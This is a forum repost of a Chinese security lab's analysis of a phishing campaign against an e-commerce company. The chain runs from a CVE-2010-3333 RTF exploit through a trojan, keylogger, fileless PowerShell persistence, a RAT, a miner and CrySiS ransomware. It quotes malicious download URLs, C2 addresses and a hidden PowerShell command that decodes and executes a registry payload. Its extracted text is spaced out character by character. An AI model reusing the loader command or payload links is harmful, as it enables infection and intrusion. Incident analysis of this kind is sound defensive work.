搜索

[13451] 2018-11-23_从某电商钓鱼事件探索黑客“一站式服务”

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2018-11-23_从某电商钓鱼事件探索黑客“一站式服务” 从 某 电 商 钓 鱼 事 件 探 索 黑 客 “ 一 站 式 服 务 ” 千 里 目 安 全 实 验 室   F r e e B u f   2 0 1 8 - 1 1 - 2 3 深 信 服 深 信 服 E D R 安 全 团 队 ， 整 理 分 析 了 一 起 某 电 商 钓 鱼 事 件 ， 通 过 关 联 信 息 ， 发 现 背 后 可 能 存 在 一 个 安 全 团 队 ， 整 理 分 析 了 一 起 某 电 商 钓 鱼 事 件 ， 通 过 关 联 信 息 ， 发 现 背 后 可 能 存 在 一 个 “ 产 业 链 齐 全 产 业 链 齐 全 ” 的 黑 客 团 伙 ， 研 究 发 现 其 具 备 的 黑 客 团 伙 ， 研 究 发 现 其 具 备 “ 一 站 式 服 一 站 式 服 务 务 ” 的 黑 客 攻 击 手 段 。 的 黑 客 攻 击 手 段 。 黑 客 攻 击 手 段 包 括 但 不 限 于 钓 鱼 邮 件 、 漏 洞 利 用 、 挖 矿 病 毒 、 勒 索 病 毒 、 无 文 件 攻 击 、 远 控 木 马 、 键 盘 记 录 器 、 密 码 破 解 等 ， 是 一 次 完 整 而 全 套 的 “ 服 务 ” 。 最 开 始 ， 可 能 仅 仅 是 一 封 精 心 构 造 的 邮 件 触 发 的 ， 经 过 信 息 收 集 和 远 程 控 制 ， 在 闲 时 挖 矿 榨 干 主 机 性 能 ， 当 窃 取 到 足 够 机 密 ， 又 最 后 “ 卸 磨 杀 驴 ” “ 杀 鸡 取 卵 ” ， 执 行 勒 索 操 作 。 0 x 0 1   定 向 撒 网 捞 鱼 ： 钓 鱼 邮 件 定 向 撒 网 捞 鱼 ： 钓 鱼 邮 件 X X 公 司 已 经 被 黑 客 盯 上 了 ， 黑 客 通 过 社 工 拿 到 该 公 司 的 各 种 邮 件 账 号 ， 并 给 这 些 账 号 发 送 了 钓 鱼 邮 件 。 员 工 A 收 到 一 份 邮 件 ， 这 是 一 份 包 含 了 d o c 附 件 （ 实 际 上 是 一 份 富 文 本 文 件 ） 的 邮 件 ， d o c 名 称 为 T r a n s f e r C o p y . d o c 。 以 下 是 邮 件 的 基 本 信 息 ： 看 上 去 是 一 份 无 害 的 文 件 ， 点 开 查 看 该 d o c ， 也 未 发 现 异 常 （ 但 此 时 已 经 开 始 后 台 偷 偷 执 行 ） 。 0 x 0 2   苍 蝇 不 叮 无 缝 的 蛋 ： 漏 洞 利 用 苍 蝇 不 叮 无 缝 的 蛋 ： 漏 洞 利 用 苍 蝇 不 叮 无 缝 的 蛋 ， 一 个 普 通 的 d o c 文 档 不 能 触 发 什 么 ， 但 是 ， 那 是 一 个 特 殊 构 造 的 文 档 ， 里 面 肯 定 利 用 了 什 么 漏 洞 的 。 我 们 将 邮 件 样 本 中 的 B a s e 6 4 加 密 的 附 件 b 6 4 E n T r a n s f e r C o p y . d o c 提 取 出 来 ， 检 测 B a s e 6 4 解 码 的 b 6 4 D e T r a n s f e r C o p y . d o c ， 发 现 了 b 6 4 D e T r a n s f e r C o p y . d o c 文 档 中 的 特 殊
文 本 。 可 以 判 断 其 利 用 了 C V E - 2 0 1 0 - 3 3 3 3 ， 漏 洞 溢 出 后 ， 执 行 了 下 载 动 作 。 在 d o c 中 发 现 恶 意 下 载 链 接 ： “ h t t p : / / p o l a r i t o n . r g h o s t . r u / d o w n l o a d / 7 4 z J T 5 w t f / b 8 7 8 e 6 9 3 0 5 1 a 8 e 5 4 1 3 8 1 b 1 d 6 3 7 8 f 4 d d f 6 2 b   d 9 6 b 3 / b 8 7 8 e 6 9 3 0 5 1 a 8 e 5 4 1 3 8 1 b 1 d 6 3 7 8 f 4 d d f 6 2 b d 9 6 b 3 / b 8 7 8 e 6 9 3 0 5 1 a 8 e 5 4 1 3 8 1 b 1 d 6 3 7 8 f 4 d d f 6 2 b d 9 6 b 3 / D F G H D F G H J 4 5 6 7 8 5 6 . e x e ” 访 问 这 个 网 址 之 后 ， 会 跳 转 到 h t t p : / / r g h o . s t / 7 4 z J T 5 w t f ? r = 1 0 8 8 0 x 0 3   侦 查 兵 先 行 ： 下 载 木 马 侦 查 兵 先 行 ： 下 载 木 马 渗 透 企 业 内 网 ， 免 不 了 先 侦 查 内 部 主 机 信 息 的 ， 黑 客 最 开 始 ， 选 择 了 下 载 并 执 行 木 马 ， 完 成 初 步 的 信 息 收 集 和 远 程 控 制 。 我 们 将 这 个 样 本 下 载 下 来 ， 检 测 为 . N E T 程 序 ， 程 序 没 有 加 壳 ， 但 是 经 过 了 混 淆 。 通 过 D e 4 d o t 反 混 淆 得 到 如 下 信 息 ， 但 是 程 序 还 是 存 在 一 定 的 混 淆 ， 采 用 动 态 分 析 。
动 态 分 析 程 序 D F G H D F G H J 4 5 6 7 8 5 6 . e x e 行 为 ， 发 现 其 执 行 c m d 命 令   c m d . e x e   / c s y s t e m i n f o   获 取 系 统 基 本 信 息 ， 写 入 I n f o . t x t 。 释 放 A u t o U p d a t e . e x e 并 通 过 设 置 注 册 表 ， 设 置 其 为 自 启 动 ， 进 行 键 鼠 记 录 ， 将 所 有 的 动 作 记 录 在 l o g s _ x x . x x . x x x x ( 日 期 格 式 ) . h t m 文 件 。 释 放 键 鼠 记 录 器 p a s s . e x e 并 启 动 ， 进 行 密 码 搜 集 或 者 密 码 破 解 。 该 程 序 在 完 成 所 有 释 放 和 启 动 工 作 后 ， 会 使 用 H T T P 协 议 连 接 恶 意 C 2 进 行 交 互 （ 回 传 信 息 ） 。 0 x 0 4   对 抗 升 级 ： 无 文 件 攻 击 对 抗 升 级 ： 无 文 件 攻 击 为 了 进 一 步 对 抗 安 全 产 品 ， 黑 客 并 未 停 手 ， 采 取 了 更 为 高 级 、 更 为 隐 蔽 的 攻 击 手 段 。 我 们 发 现 ， 其 通 过 自 启 动 注 册 表 项 ， 启 动 P o w e r S h e l l 执 行 相 应 的 命 令 分 析 上 面 的 命 令 ， 它 会 读 取 H K L M : S O F T W A R E ’ ? ? ’ 注 册 表 项 的 内 容 ， 然 后 通 过 B a s e 6 4 解 码 之 后 执 行 ， 另 一 个 注 册 表 项 的 内 容 是 一 串 B a s e 6 4 的 字 符 串 。 多 次 解 码 之 后 ， 得 到 相 应 的 P o w e r S h e l l 源 代 码 。 C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - w i n d o w s t y l e   h i d d e n   - c   " $ v a l   =   ( g p   H K L M : S O F T W A R E ' ? ? ' ) . ' ? ? ' ;   $ d   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ S y s t e m . c o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ v a l ) ) ;   i e x   $ d "
通 过 P o w e r S h e l l 脚 本 ， 创 建 一 个 线 程 ， 注 入 一 段 S h e l l C o d e 到 远 程 进 程 中 ， 执 行 S h e l l C o d e ， 解 密 出 相 应 的 S h e l l C o d e 代 码 。 通 过 I n t e r n e t O p e n A / I n t e r n e t C o n n e c t A / H t t p O p e n R e q u e s t A / H t t p S e n d R e q u e s t A 等 函 数 ， 连 接 或 发 送 网 络 请 求 到 相 应 的 黑 客 服 务 器 地 址 1 3 8 . 1 9 7 . 2 . 4 6 分 配 相 应 的 内 存 空 间 ， 从 黑 客 服 务 器 上 读 取 相 关 的 恶 意 程 序 到 内 存 。 从 黑 客 服 务 器 上 获 取 到 的 文 件 ： S h e l l C o d e 通 过 反 射 型 D L L 注 入 到 进 程 执 行 ：
分 析 从 内 存 中 D u m p 出 来 的 文 件 ， 是 一 个 后 门 程 序 。 后 门 程 序 ， 释 放 相 应 的 远 控 恶 意 程 序 文 件 F o l d e r . e x e ： F o l d e r . e x e 拷 贝 自 身 到 C : U s e r s p a n d a A p p D a t a R o a m i n g 目 录 下 ： 并 设 置 一 个 隐 藏 目 录 的 文 件 夹 ， 将 文 件 拷 贝 到 隐 藏 目 录 文 件 夹 下 ： 并 设 置 注 册 表 自 启 动 项 ： 将 之 前 释 放 到 隐 藏 目 录 下 的 副 本 远 控 创 建 为 计 划 任 务 启 动 项 ：
黑 客 可 以 实 时 监 控 这 台 主 机 ， 动 态 分 析 显 示 其 与 远 程 C 2 服 务 器 1 4 . 2 1 5 . 1 7 7 . 3 9 地 址 进 行 通 信 。 0 x 0 5   持 续 褥 羊 毛 ： 挖 矿 持 续 褥 羊 毛 ： 挖 矿 黑 客 在 攻 破 该 主 机 之 后 ， 就 为 该 主 机 种 上 挖 矿 病 毒 ， 持 续 榨 干 其 性 能 。 0 x 0 6   猪 养 肥 了 就 杀 掉 ： 执 行 勒 索 猪 养 肥 了 就 杀 掉 ： 执 行 勒 索 在 某 天 ， 黑 客 觉 得 信 息 偷 得 差 不 多 了 ， 挖 矿 也 挖 了 一 段 时 间 ， 想 最 后 干 票 大 的 。 其 通 过 远 程 进 来 之 后 ， 从 网 站 上 下 载 了 一 个 勒 索 病 毒 。 下 载 的 网 站 如 下 ： h t t p : / / p o l a r i t o n . r g h o s t . r u / d o w n l o a d / 7 4 Q V X t y v n / 5 a 3 2 f 4 e 1 9 8 3 8 2 2 e d 5 d 4 f c e d f 2 b 8 d 4 c 2 7 6 d d 7 7 2 6 3 / 5 a 3 2 f 4 e 1 9 8 3 8 2 2 e d 5 d 4 f c e d f 2 b 8 d 4 c 2 7 6 d d 7 7 2 6 3 / R e l e a s e . z i p
运 行 下 载 后 的 程 序 ， 会 加 密 主 机 上 的 文 件 ， 如 下 所 示 ： 并 弹 出 勒 索 信 息 界 面 ， 研 究 发 现 这 是 一 个 C r y S i S 勒 索 病 毒 。 至 此 ， 全 套 “ 服 务 ” 完 成 ， 员 工 可 以 下 班 了 。 * 本 文 作 者 ： 千 里 目 安 全 实 验 室 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理